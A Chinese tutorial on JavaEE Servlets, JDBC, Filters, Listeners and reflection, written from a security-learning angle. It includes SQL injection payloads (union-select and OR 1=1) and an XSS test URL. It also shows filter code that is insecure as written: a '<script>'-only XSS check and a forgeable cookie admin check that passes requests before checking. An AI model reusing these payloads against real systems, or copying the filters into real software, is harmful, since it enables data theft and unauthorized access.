JavaEE应用&Servlet路由技术&JDBC&Mybatis 数据库&生命周期 创建JavaEE项目 1、使用idea创建javaee
运行测试:
JavaEE-HTTP-Servlet&路由&周期 JAVAEE的核心-Servlet_javaee的核心 csdn-CSDN博客
Servlet介绍 Servlet是运行在Web服务器或应用服务器上的程序,它是作为来自Web浏览器或其他HTTP客户端的请求和HTTP服务器上的数据库或应用程序之间的中间层。使用Servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。本章内容详细讲解了web开发的相关内容以及servlet相关内容的配置使用,是JAVAEE开发的重中之重。
创建配置Servlet 目录结构:
1、创建一个类集成HttpServlet
创建web.xml配置Servlet路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns ="https://jakarta.ee/xml/ns/jakartaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd" version ="6.0" > <servlet > <servlet-name > index</servlet-name > <servlet-class > com.example.demo.IndexServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > index</servlet-name > <url-pattern > /index</url-pattern > </servlet-mapping > </web-app >
创建IndexServlet.java文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.example.demo;import jakarta.servlet.http.HttpServlet;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;public class IndexServlet extends HelloServlet { @Override public void doGet (HttpServletRequest req, HttpServletResponse resp) { System.out.println("-----------------doGet" ); } }
页面测试
GET方法 IndexServlet.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package com.example.demo; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; //继承HttpServlet类 public class IndexServlet extends HelloServlet { //处理GET请求方法 @Override public void doGet(HttpServletRequest req, HttpServletResponse resp) { System.out.println("-----------------doGet"); resp.setContentType("text/html;charset=utf-8"); String name = req.getParameter("name"); System.out.println("name" + name); } }
web.xml无需修改
页面测试:
localhost:8080/demo_war/index?name=hsdhs
注意:如果get参数获取不到,需要选择构造文件
POST方法 IndexServlet.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package com.example.demo;import jakarta.servlet.http.HttpServlet;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;public class IndexServlet extends HelloServlet { @Override public void doPost (HttpServletRequest req, HttpServletResponse resp) throws IOException { System.out.println("------------doPost" ); resp.setContentType("text/html;charset=utf-8" ); PrintWriter out = resp.getWriter(); String name = req.getParameter("name" ); String age = req.getParameter("age" ); String address = req.getParameter("address" ); System.out.println("name: " + name); System.out.println("age: " + age); System.out.println("address: " + address); out.flush(); out.close(); } }
web.xml无需修改
通过使用postman进行post请求构造
其他内置方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 package com.example.demo;import jakarta.servlet.ServletConfig;import jakarta.servlet.ServletException;import jakarta.servlet.ServletRequest;import jakarta.servlet.ServletResponse;import jakarta.servlet.http.HttpServlet;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;public class IndexServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("--------------doGet" ); String id = req.getParameter("id" ); resp.setContentType("text/html; charset=GBK" ); PrintWriter out = resp.getWriter(); out.println("这是GET请求的数据:" ); out.println("id:" + id + "<br>" ); out.flush(); out.close(); } @Override protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String name = req.getParameter("name" ); resp.setContentType("text/html; charset=GBK" ); PrintWriter out = resp.getWriter(); out.println("这是post提交的数据" ); out.println(name); out.flush(); out.close(); System.out.println("--------------doPost" ); } @Override public void init (ServletConfig config) throws ServletException { System.out.println("--------------init" ); } @Override public void destroy () { System.out.println("--------------destroy" ); super .destroy(); } @Override protected void service (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("--------------http service" ); super .service(req, resp); } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { System.out.println("--------------Servlet service" ); super .service(req, res); } }
web.xml无需修改
查看结果:
HttpServletRequest HttpServletResponse 详解 HttpServletRequest(HTTP请求的信息)
ServletRequest的子接口:HttpServletRequest是ServletRequest 接口的子接口,提供了用于处理HTTP请求的额外功能。
getParameter(name):通过参数名获取请求中的值。返回一个String ,表示与给定参数名相对应的单个值。 getParameterValues(name):通过参数名获取请求中的多个值。返回一个**String[]**,表示与给定参数名相对应的多个值。
HttpServletResponse(HTTP响应的信息)
ServletResponse的子接口:HttpServletResponse是ServletResponse 接口的子接口,提供了用于处理HTTP响应的额外功能。 setCharacterEncoding():设置响应的字符编码格式。通常用于确保正确的文本输出。 setContentType():设置响应内容的类型和编码。常用于指定输出的数据类型,如HTML、JSON等。 getWriter():获取一个PrintWriter 字符输出流,用于向客户端发送文本数据。 PrintWriter:PrintWriter 是用于向客户端输出字符数据的类,可以接受各种数据类型,然后将其转换为文本并发送到客户端。
数据库-JDBC&Mybatis&库 -原生态数据库开发:JDBC 参考:https://www.jianshu.com/p/ed1a59750127
JDBC(Java Database connectivity): 由java提供,用于访问数据库的统一API接口规范.
数据库驱动: 由各个数据库厂商提供,用于访问数据库的jar包(JDBC的具体实现),遵循JDBC接口,以便java程序员使用!
安装使用 安装jar Maven Repository: mysql
引用封装jar 选择项目结构->模块->
注册数据库驱动 “com.mysql.jdbc.Driver” : 这是 MySQL JDBC 驱动程序的类名。JDBC(Java Database Connectivity)是 Java 用于与数据库交互的 API,而不同的数据库供应商提供了各自的 JDBC 驱动程序。在这里,”com.mysql.jdbc.Driver” 是 MySQL JDBC 驱动程序的类名。
加载和初始化 : 当调用 Class.forName(“com.mysql.jdbc.Driver”); 时,它会尝试查找、加载并初始化指定的类。在这个过程中,MySQL JDBC 驱动程序的静态代码块(static {…})会被执行,这通常用于注册驱动程序。
1 2 3 4 5 6 7 8 首先,导入数据库驱动jar包(以MySQL为例,mysql-connector-java-5.1.40-bin.jar),然后注册驱动 // 方法一.导致MySql驱动被注册两次,还导致程序和具体驱动类绑定,切换数据库,需要修改java源码重新编译,不建议使用! DriverManager.registerDriver(new Driver()); // 方法二.驱动类的静态代码块已经注册驱动,只需要加载驱动类即可 // 用反射加载,与驱动类字符串绑定,字符串可放在配置文件,切换数据库,无需改源码重新编译,只需要修改配置文件! Class.forName("com.mysql.jdbc.Driver");
建立数据库连接 1 2 3 4 5 6 7 8 9 10 11 12 Connection connection = DriverManager.getConnection(url,user,password); url格式 MySql: jdbc:mysql://ip:3306/sid (本机地址简写jdbc:mysql:///sid) Oracle: jdbc:oracle:thin:@ip:1521:sid SqlServer: jdbc:microsoft:sqlserver://ip:1433;DatabaseName=sid 参数(可选,user和password可以写在url参数中) ?user=lioil&password=***&useUnicode=true&characterEncoding=UTF-8 协议:子协议://ip地址:端口号/库名?参数1=值&参数2=值 jdbc:mysql://localhost:3306/sid?useUnicode=true&characterEncoding=utf-8
案例:
1 2 3 4 5 6 7 8 9 // 定义数据库连接的URL,格式为:jdbc:mysql://host:port/database String url = "jdbc:mysql://localhost:3306/demo01"; // 使用DriverManager获取数据库连接 Connection connection = DriverManager.getConnection(url, "root", "root"); // 打印数据库连接信息 System.out.println(connection);
创建Statement执行SQL onnection.createStatement();: 在Connection对象上调用createStatement方法,创建一个Statement对象。Statement对象用于执行SQL语句,它可以执行静态的SQL查询、更新、删除等操作。createStatement方法返回一个新的Statement 对象。 创建一个Statement对象,然后使用该对象执行给定的SQL查询语句,将查询结果存储在一个ResultSet对象中。这样,您可以通过遍历ResultSet 来检索和处理查询的结果集中的数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 1. Statement常用方法: 单个执行SQL语句 boolean execute (String sql) 执行SQL语句,没有结果集返回false ,有返回true (通过Statement.getResultSet获取结果集); ResultSet executeQuery (String sql) 执行select语句,返回结果集 int executeUpdate (String sql) 执行insert delete update语句,返回影响行数 批量执行SQL语句(insert update delete) void addBatch (String sql) 批量添加SQL语句(insert update delete) int [] executeBatch() 批量传输SQL到数据库执行,返回每个SQL语句影响行数(数组) void clearBatch () 清空SQL 3. 单个执行SQL语句 Statement statement = connection.createStatement(); int row = statement.executeUpdate(sql); ResultSet resultSet = statement.executeQuery(sql); ResultSet默认不能反向修改数据库记录,但可通过指定参数Statement来创建可改数据的ResultSet,不建议使用,应该用update语句修改数据!!! Statement state = connection.createStatement(ResultSet.TYPE_FORWARD_ONLY,ResultSet.CONCUR_UPDATABLE); ResultSet resultSet = state.executeQuery("select * from user" ); resultSet.next(); resultSet.updateString("name" , "lioil" ); resultSet.updateRow(); Statement createStatement (int resultSetType, int resultSetConcurrency) resultSetType 结果集类型 ResultSet.TYPE_FORWARD_ONLY 不支持滚动,只能向前. ResultSet.TYPE_SCROLL_INSENSITIVE 支持滚动,迟钝不敏感 ResultSet.TYPE_SCROLL_SENSITIVE 支持滚动,敏感 resultSetConcurrency 是否支持修改类型 ResultSet.CONCUR_READ_ONLY 不支持修改 ResultSet.CONCUR_UPDATABLE 支持修改 PrepareStatement statement = connection.prepareStatement("SELECT * FROM user WHERE name=? AND password=?" ); statement.setString(1 , "lioil" ); statement.setString(2 , "12345" ); ResultSet resultSet = statement.executeQuery(); statement.setInt(...); statement.setDouble(...); statement.setDate(...); SQL注入:用户恶意传入一些SQL特殊关键字,导致SQL语义变化 SELECT * FROM user WHERE name='lioil' AND password='12345' ; -- 正常 SELECT * FROM user WHERE name='lioil' OR 1 =1 ; --' AND password=' 1 '; -- 恶意注入' lioil' OR 1=1; --' 使语句在OR 1 =1 ;处结束,password没有执行 4. 批量执行SQLStatement批处理 Statement smt = conn.createStatement(); smt.addBatch(sql1); smt.addBatch(sql2); smt.addBatch(sql3); smt.executeBatch(); 优点:可执行多条不同结构SQL语句 缺点:没预编译,效率低 PrparedStatement批处理 PrepareStatement preSmt = conn.prepareStatement("insert into user values(null,?)" ); for (int i=1 ;i<=100000 ;i++){ preSmt.setString(1 ,"id_" +i); preSmt.addBatch(); if (i%1000 ==0 ){ preSmt.executeBatch(); preSmt.clearBatch(); } } preSmt.executeBatch(); 优点:SQL结构相同,只编译一次,效率高 缺点:只能执行相同结构SQL语句
案例:
1 2 3 4 5 6 Statement statement= connection.createStatement(); String sql="select * from news" ; ResultSet resultSet = statement.executeQuery(sql);
对结果对象进行提取 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 while (resultSet.next()) { int id = resultSet.getInt("id" ); String page_title = resultSet.getString("page_title" ); String heading = resultSet.getString("heading" ); String subheading = resultSet.getString("subheading" ); String content = resultSet.getString("content" ); String img = resultSet.getString("img" ); System.out.println(id + "|" + page_title + "|" + heading + "|" + subheading + "|" + content + "|" + img); }
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package com.example.servletdemo;import java.sql.*;public class NewsServlet { public static void main (String[] args) throws ClassNotFoundException, SQLException { Class.forName("com.mysql.jdbc.Driver" ); String url = "jdbc:mysql://localhost:3306/demo01" ; Connection connection = DriverManager.getConnection(url,"root" ,"123456" ); System.out.println(connection); String sql="select * from news" ; String safesql="select * from news where id=?" ; System.out.println(sql); Statement statement= connection.createStatement(); ResultSet resultSet = statement.executeQuery(sql); while (resultSet.next()){ int id = resultSet.getInt("id" ); String page_title = resultSet.getString("page_title" ); String heading = resultSet.getString("heading" ); String subheading = resultSet.getString("subheading" ); String content = resultSet.getString("content" ); String img = resultSet.getString("img" ); System.out.println(id+"|" +page_title+"|" +heading+"|" +subheading+"|" +content+"|" +img); } } }
安全问题 1、存在SQL注入问题
select * from news where id=1: 这是一个正常的SQL查询,目的是从名为”news”的表中选择ID为1的记录。
union: 这是SQL的关键字,用于合并两个查询的结果集。
select 1,2,3,version(),user(),database(): 这是一个注入的查询,它返回了一些固定的值(1、2、3)以及数据库的版本信息(version())、当前用户(user())和当前数据库(database())的信息。
通过将这两个查询合并,攻击者试图将恶意的查询注入到正常的查询中,从而获取数据库的敏感信息。这种类型的攻击被称为联合查询注入。
防御方法:使用预编译
原理:提前编译好执行逻辑,你注入的语句不会改变原有逻辑!
预编译写法: safesql 是一个预编译的 SQL 查询语句,其中 ? 是一个占位符,表示将在执行时动态替换。
使用 PreparedStatement: PreparedStatement 是 Statement 的子接口,用于执行预编译的 SQL 语句。通过调用 connection.prepareStatement(safesql) 创建一个 PreparedStatement 对象。
设置参数: 使用 setXXX 方法设置占位符的值。在这里,使用 setInt(1, id) 将 id 的值设置到第一个占位符上。这种方式防止了 SQL 注入攻击,因为参数值是通过预编译的方式传递的,而不是通过直接拼接字符串。
执行查询: 调用 executeQuery() 执行查询,得到 ResultSet 对象。
处理结果集: 根据业务需要,处理查询结果集的数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 String safesql = "SELECT * FROM news WHERE id=?" ;try (PreparedStatement preparedStatement = connection.prepareStatement(safesql)) { preparedStatement.setInt(1 , id); ResultSet resultSet = preparedStatement.executeQuery(); } catch (SQLException e) { e.printStackTrace(); }
JavaEE应用&Filter过滤器 &Listener监听器&访问控制 JavaEE-过滤器-Filter
Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。
环境配置
创建新的项目FilterDemo1
在对应的包名上,创建分类包filter与servlet
在servlet下创建TestServlet
,并进行检测
启动服务器,尝试进行Xss攻击,发现可以
TestServlet.java代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.example.demo1;import jakarta.servlet.annotation.WebServlet;import jakarta.servlet.http.HttpServlet;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;@WebServlet("/index") public class TestServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws IOException { String code = req.getParameter("code" ); PrintWriter out = resp.getWriter(); out.println(code); out.flush(); out.close(); } }
存在一定的XSS危险
1 http://localhost:8080/demo1_war_exploded/index?code=%3Cscript%3Ealert(1)%3C/script%3E
创建过滤器
过滤器内置方法 并实现Filter 接口中的所有方法
init doFilter destroy
1、init(FilterConfig filterConfig):
该方法在过滤器被初始化时调用,只会执行一次。
用于执行一些初始化操作,例如获取配置信息等。
2、doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain):
这是过滤器的主要方法,在每次请求被过滤时都会调用。
doFilter 方法中的 filterChain.doFilter(request, response) 表示继续执行过滤器链,如果没有更多的过滤器,最终将调用目标资源(例如 Servlet 或 JSP)。
如果在 doFilter 中不调用 filterChain.doFilter,则请求将被拦截,不会继续传递。
3、destroy():
该方法在过滤器被销毁时调用,只会执行一次。
用于执行一些清理工作,释放资源等。
XssFilter.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package com.example.demo1;import jakarta.servlet.*;import jakarta.servlet.annotation.WebFilter;import jakarta.servlet.http.HttpServletRequest;import java.io.IOException;@WebFilter("/index") public class XssFilter implements Filter { @Override public void init (FilterConfig filterConfig) throws ServletException { System.out.println("xss开始过滤" ); } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("xss is filter" ); HttpServletRequest request = (HttpServletRequest) servletRequest; String code = request.getParameter("code" ); if (!code.contains("<script>" )){ filterChain.doFilter(servletRequest,servletResponse); }else { System.out.println("have xss hack" ); } } @Override public void destroy () { System.out.println("xss is destroy" ); } }
输入正常参数:
输入xss危险函数
配置过滤器的触发 注意:
可以使用\demo1\src\main\webapp\WEB-INF\web.xml 配置触发器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @WebFilter("/index") <filter > <filter-name > xssFilter</filter-name > <filter-class > com.example.demo1.xssFilter</filter-class > </filter > <filter-mapping > <filter-name > xssFilter</filter-name > <url-pattern > /index</url-pattern > </filter-mapping >
利用过滤器简单实现:cookie身份验证 1、创建servlet下创建AdminServlet
1 2 3 4 5 6 7 8 @WebServlet("/admin") public class AdminServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("欢迎进入管理员页面" ); } }
访问测试:
2、创建AdminFilter.java
①先不加入判断获取到浏览器本身的cookie值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package com.example.demo1;import jakarta.servlet.*;import jakarta.servlet.annotation.WebFilter;import jakarta.servlet.http.Cookie;import jakarta.servlet.http.HttpServletRequest;import java.io.IOException;@WebFilter("/admin") public class AdminFilter implements Filter { @Override public void init (FilterConfig filterConfig) throws ServletException { System.out.println("init admin filter" ); } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("doFilter admin filter" ); HttpServletRequest request = (HttpServletRequest) servletRequest; Cookie[] cookies = request.getCookies(); for (Cookie cookie : cookies) { String name = cookie.getName(); String value = cookie.getValue(); System.out.println("name:" + name + ", value:" + value); filterChain.doFilter(servletRequest, servletResponse); } } @Override public void destroy () { Filter.super .destroy(); } }
页面测试:
②加入cookie进行判断
检查请求中是否包含名为 “user” 且值为 “admin” 的Cookie。如果符合条件,则放行请求;否则,输出 “非管理员访问”。
相应进入管理员页面,必须先在浏览器中添加对应判断的cookie值
如果对应不上则是非管理员访问,不予通过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package com.example.demo1; import jakarta.servlet.*; import jakarta.servlet.annotation.WebFilter; import jakarta.servlet.http.Cookie; import jakarta.servlet.http.HttpServletRequest; import java.io.IOException; @WebFilter("/admin") public class AdminFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("init admin filter"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("doFilter admin filter"); // 检测cookie HttpServletRequest request = (HttpServletRequest) servletRequest; Cookie[] cookies = request.getCookies(); // 对cookie进行遍历 for (Cookie cookie : cookies) { String name = cookie.getName(); String value = cookie.getValue(); System.out.println("name:" + name + ", value:" + value); filterChain.doFilter(servletRequest, servletResponse); // 检查是否包含名为 "user" 且值为 "admin" 的Cookie if (name.contains("admin") && value.contains("admin")) { // 是管理员,放行请求 filterChain.doFilter(servletRequest, servletResponse); }else { // 非管理员,可以根据需求添加相应的处理逻辑,例如重定向到登录页等 System.out.println("not admin"); } } } @Override public void destroy() { System.out.println("destroy admin filter"); } }
①不设置cookie访问
②设置cookie值进行访问
F12 ->application -> cookie
内存马 Payload检测,权限访问控制,红队内存马植入,蓝队清理内存马等 内存马参考:https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw
一文看懂内存马 - FreeBuf网络安全行业门户
JavaEE-监听器 -Listen
参考:https://blog.csdn.net/qq_52797170/article/details/124023760
监听ServletContext、HttpSession、ServletRequest等域对象创建和销毁事件 监听域对象的属性发生修改的事件 监听在事件发生前、发生后做一些必要的处理
创建监听器
DSession一个简单的Servlet,对应一个/ds的URL映射。在收到GET请求时,它会销毁当前请求的HttpSession。
1 2 3 4 5 6 7 8 9 10 @WebServlet("/ds") public class DSession extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("Servlet里面销毁Session" ); req.getSession().invalidate(); } }
@WebServlet(“/ds”): 通过此注解,指定了Servlet的URL映射为 “/ds”。
System.out.println(“Servlet里面销毁Session”);: 打印一条日志,说明Servlet正在销毁Session。
req.getSession().invalidate();: 获取当前请求的HttpSession,并调用invalidate()方法使其失效,从而销毁Session。这通常会导致用户在当前会话中的状态丢失,因为Session被销毁了。
这段代码是一个简单的Servlet,对应一个 /cs
的URL映射。在收到GET请求时,它会创建一个新的HttpSession
。
1 2 3 4 5 6 7 8 9 10 11 @WebServlet("/cs") public class CSession extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("Servlet里面创建Session"); // 创建Session req.getSession(); } }
监听器内置方法 这段代码定义了一个实现 HttpSessionListener
接口的监听器类 ListenSession
,用于监听HttpSession
的创建和销毁事件。
下面是对代码的注释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @WebListener public class ListenSession implements HttpSessionListener { @Override public void sessionCreated(HttpSessionEvent se) { // 监听检测有Session创建就会执行这里 System.out.println("监听器监听到了session创建"); } @Override public void sessionDestroyed(HttpSessionEvent se) { // 监听检测有Session销毁就会执行这里 System.out.println("监听器监听到了session销毁"); } }
@WebListener: 通过此注解,标记这是一个监听器类。
@Override 注解用于表示下面的方法是对接口中方法的重写。
public void sessionCreated(HttpSessionEvent se): 当有新的 HttpSession 被创建时,这个方法会被调用。在这里,它简单地输出一条日志表示监听器检测到了session的创建。
public void sessionDestroyed(HttpSessionEvent se): 当一个 HttpSession 被销毁时,这个方法会被调用。在这里,它简单地输出一条日志表示监听器检测到了session的销毁。
监听器触发流程 在Java Web应用中,监听器用于监控和响应特定的事件。对于监听器的触发流程,以下是一般的步骤:
1 2 3 4 5 @WebListener <listener> ....... </listener>
注册监听器: 在Web应用中,你需要将监听器注册到相应的组件上。例如,在web.xml文件中配置监听器,或者使用注解(如@WebListener)标记监听器类。 事件发生: 当与监听器关联的特定事件在Web应用中发生时,监听器会被触发。 调用监听器方法: 监听器类中实现的相应方法(如sessionCreated、sessionDestroyed等)将被调用。这些方法包含与事件相关的信息,允许监听器执行特定的逻辑。 执行自定义逻辑: 在监听器方法中,你可以编写自定义的逻辑以响应事件。这可能包括记录日志、修改数据、发送通知等。
举例来说,对于HttpSessionListener:
当一个新的HttpSession被创建时,sessionCreated方法将被调用。 当一个HttpSession被销毁时,sessionDestroyed方法将被调用。
总的来说,监听器提供了一种在Web应用中对特定事件进行响应的机制,使开发者能够以声明性的方式处理应用的生命周期事件。
监听器安全场景 代码审计中分析执行逻辑触发操作,红队内存马植入,蓝队清理内存马等
JavaEE应用&反射机制&攻击链&类对象&成员变量方法&构造方法 反射中的类名&变量&方法
反射概念 1、什么是Java反射
参考:https://xz.aliyun.com/t/9117
反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行状态的时候才动态加载类,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的方法/访问属性。这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。
2、反射的作用
在运行时获得程序 或程序集 中每一个类型的成员和成员的信息 ,从而动态的创建、修改、调用、获取其属性 ,而不需要事先知道运行的对象是谁 。
不改变原有代码逻辑,自行运行的时候动态创建和编译即可
3、利用场景
构造利用链,触发命令执行反序列化 中的利用链构造 动态获取或执行任意类中的属性或方法 动态代理的底层原理是反射技术 rmi反序列化也涉及到反射操作
反射-Class对象类获取
1、创建一个User类,包含成员变量和成员方法,构造方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package org.example;public class User { public String name="xiaodi" ; public int age = 31 ; private String gender="man" ; protected String job = "sec" ; public User () { System.out.println("no para" ); } private User (String name,int age) { System.out.println("name" +name); System.out.println("age" +age); } public void userinfo (String name,int age,String gender,String job) { this .name=name; this .age=age; this .gender=gender; this .job=job; } protected void users (String name,String gender) { this .name=name; this .gender=gender; System.out.println("users people method" +name); System.out.println("users people method" +gender); } }
2、对象类名获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package org.example;public class Main { public static void main (String[] args) throws ClassNotFoundException { Class aClass=Class.forName("org.example.User" ); System.out.println("class:" +aClass); Class userClass= User.class; System.out.println("class:" +userClass); User user = new User (); Class aClass1 = user.getClass(); System.out.println("class:" +aClass1); ClassLoader clsloader = ClassLoader.getSystemClassLoader(); Class aClass2 = clsloader.loadClass("org.example.User" ); System.out.println("class:" +aClass2); } }
结果输出:
反射-Field成员变量类获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package org.example;import java.lang.reflect.Field;public class FieldDemo { public static void main (String[] args) throws ClassNotFoundException, NoSuchFieldException { Class aClass = Class.forName("org.example.User" ); Field[] fileds1 = aClass.getFields(); for (Field field : fileds1) { System.out.println(field); } System.out.println("-----------------------" ); Field[] fields = aClass.getDeclaredFields(); for (Field field : fields) { System.out.println(field); } Field name = aClass.getField("name" ); System.out.println(name); Field gender = aClass.getDeclaredField("gender" ); } }
进行赋值和取值操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package org.example;import java.lang.reflect.Field;public class SetValueDemo { public static void main (String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Class aClass = Class.forName("org.example.User" ); User user = new User (); Field name = aClass.getField("name" ); Object a = name.get(user); System.out.println(a); name.set(user,"xiaosedisssssss" ); Object newUser = name.get(user); System.out.println(newUser); } }
反射-Constructor构造方法类获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package org.example;import java.lang.reflect.Constructor;public class GouzaoDemo { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException { Class aClass = Class.forName("org.example.User" ); Constructor[] constructors = aClass.getConstructors(); for (Constructor constructor : constructors) { System.out.println(constructor); } System.out.println("-----------------------" ); Constructor[] constructors1 = aClass.getDeclaredConstructors(); for (Constructor constructor : constructors1) { System.out.println(constructor); } System.out.println("-----------------------" ); Constructor constructors2 = aClass.getDeclaredConstructor(String.class,int .class); System.out.println(constructors2); } }
对构造方法进行操作(两个参数string,int),**setAccessible(true)
临时开启对私有的访问,`newInstance`** 使用构造方法创建对象,传递参数;
newInstance 方法:
newInstance 方法是 java.lang.reflect.Constructor 类的一个方法,用于创建新的类实例。
它通过调用类的构造方法来实例化对象。
newInstance 方法通常用于动态创建对象,尤其是在反射时,允许在运行时通过 Constructor 对象调用类的构造方法。
setAccessible(true) 方法:
setAccessible 方法是 java.lang.reflect.AccessibleObject 类的一个方法,用于启用或禁用 Java 语言访问检查。
当 setAccessible(true) 被调用时,表示反射对象在使用时取消了访问权限检查,可以访问类的私有成员。
这通常用于访问那些受到访问控制限制的类的私有成员(字段、方法、构造方法等)。
现在User.java新添加构造方法:
1 2 3 public User(String name){ System.out.println("name="+name); }
实现代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package org.example;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;public class GouzaoDemo { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { Class aClass = Class.forName("org.example.User" ); Constructor constructors2 = aClass.getDeclaredConstructor(String.class,int .class); constructors2.setAccessible(true ); User uu=(User) constructors2.newInstance("xiaodigay" ,34 ); System.out.println(uu); Constructor constructor3 = aClass.getConstructor(String.class); System.out.println(constructor3); constructor3.newInstance("woaixiaodi" ); } }
结果截图
反射-Method成员方法类获取
实现方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package org.example;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class GouzaoDemo { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { Class aClass = Class.forName("org.example.User" ); Method[] methods = aClass.getMethods(); for (Method method : methods) { System.out.println(method); } System.out.println("-------------------" ); Method[] methods1 = aClass.getDeclaredMethods(); for (Method method : methods1) { System.out.println(method); } System.out.println("-------------------" ); Method users = aClass.getDeclaredMethod("users" ,String.class,String.class); System.out.println("users:" +users); } }
代码实现:
对成员方法的执行
User u = new User();: 创建一个 User 对象,即实例化 User 类。
